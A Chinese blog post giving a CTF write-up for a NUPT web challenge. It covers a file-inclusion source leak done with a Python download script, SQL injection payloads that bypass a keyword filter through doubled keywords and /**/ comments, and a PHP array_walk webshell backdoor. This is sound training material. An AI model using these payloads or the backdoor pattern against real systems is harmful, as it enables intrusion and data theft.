南邮CTF综合题2

本文详细记录了解决南邮CTF一道综合题的过程,主要涉及SQL注入。通过分析输入框、 CMS提示、文件包含漏洞,逐步揭示了密码解码和后台登录的过程,最终找到并获取了flag。
摘要由CSDN通过智能技术生成

南邮CTF综合题2----小白的第一篇

在自己加别人的WP的帮助下终于完成了这道十分有价值的CTF题目

首先我们看到题目的主体界面

其他的都没有意义,我们首先看到的是输入框,很自然的就想到XSS或者SQL,但是发表留言之后弹出非XSS的弹框,这就意味着这道题很大可能是SQL注入

我们先看留言搜索输入1后

这需要修改USER-AGENT但是我们并不知道这个可以通过验证的USER-AGENT是什么,所以往下看

看到一个CMS说明

很明显的提醒了,我们应该先从这里入手

看文章内容,他给了两个提示

一个是文件:config.php,index.php,passencode.php,say.php

另一个是admin的表结构,这里更加确信是SQL注入了

注意到这里的URL是应该是存在文件包含的(不然给我们文件名称干什么),我们试一下

file=index.php

果然,文件的内容被都取出来了

我们先把他下载下来,这里我写了一个脚本

import requests
import codecs
from bs4 import BeautifulSoup

url="http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]

for i in file_list:
    res = requests.get(url+i)
    print("dowload "+i)
    if res.status_code==200:
        res.encoding="utf8"
    with codecs.open(i,"w+","utf8") as handle:
        print("done")
        text = BeautifulSoup(res.text,"lxml").text
        handle.write(text)

当然里面的文件有些是后来发现的,我就先放在这里

先看index.php发现其包含了antixss.php应该是预防XSS攻击的,passencode.php是将用户输入的密码存储为ASCII码的形式 say.php是处理用户留言的,这时就陷入了苦恼

突然发现,我们忘记了一个文件------读取文件的about.php,下载下来之后发现存在敏感目录loginxlcteam,看名字好像是登陆的

在URL中访问,既然是目录就应该有index.php吧,先试一试

成功进入后台登陆界面,但是。。。。各种用户名不存在。

查看源码存在数据库操作的php文件还有so.php,这个就是当时搜索的php,先下载下来

惊奇的发现里面包含了antiinject.php这个应该就是防止SQL注入的文件了,下载下载

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

文件过滤了敏感的单词,但是双重绕过就好了

丧心病狂的过滤了空格,可以用/**/来绕过

先看一下搜索的源码

$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");

这里的$id没有用''包裹,所以直接注入就好

先看一下回显

soid=-1/**/UNunionION/**/SELselectECT/**/1,2,3,4

发现共四个参数,显示的是2,3

因为之前已经了解到了表的结构,所以直接注入

soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

得到admin的password

102 117 99 107 114 117 110 116 117

之前说过password是ASCII码存储的,所以解码得到admin的密码

fuckruntu

登陆

emmmm一句话木马,我们先把源码下载下来

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

三个参数的数组回调后门

先看一下目录下面有什么文件

虽然乱码,但我们还是看到了最后那个flag

看看前面的是什么

直接在文件包含那里面查看

成功拿到flag

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值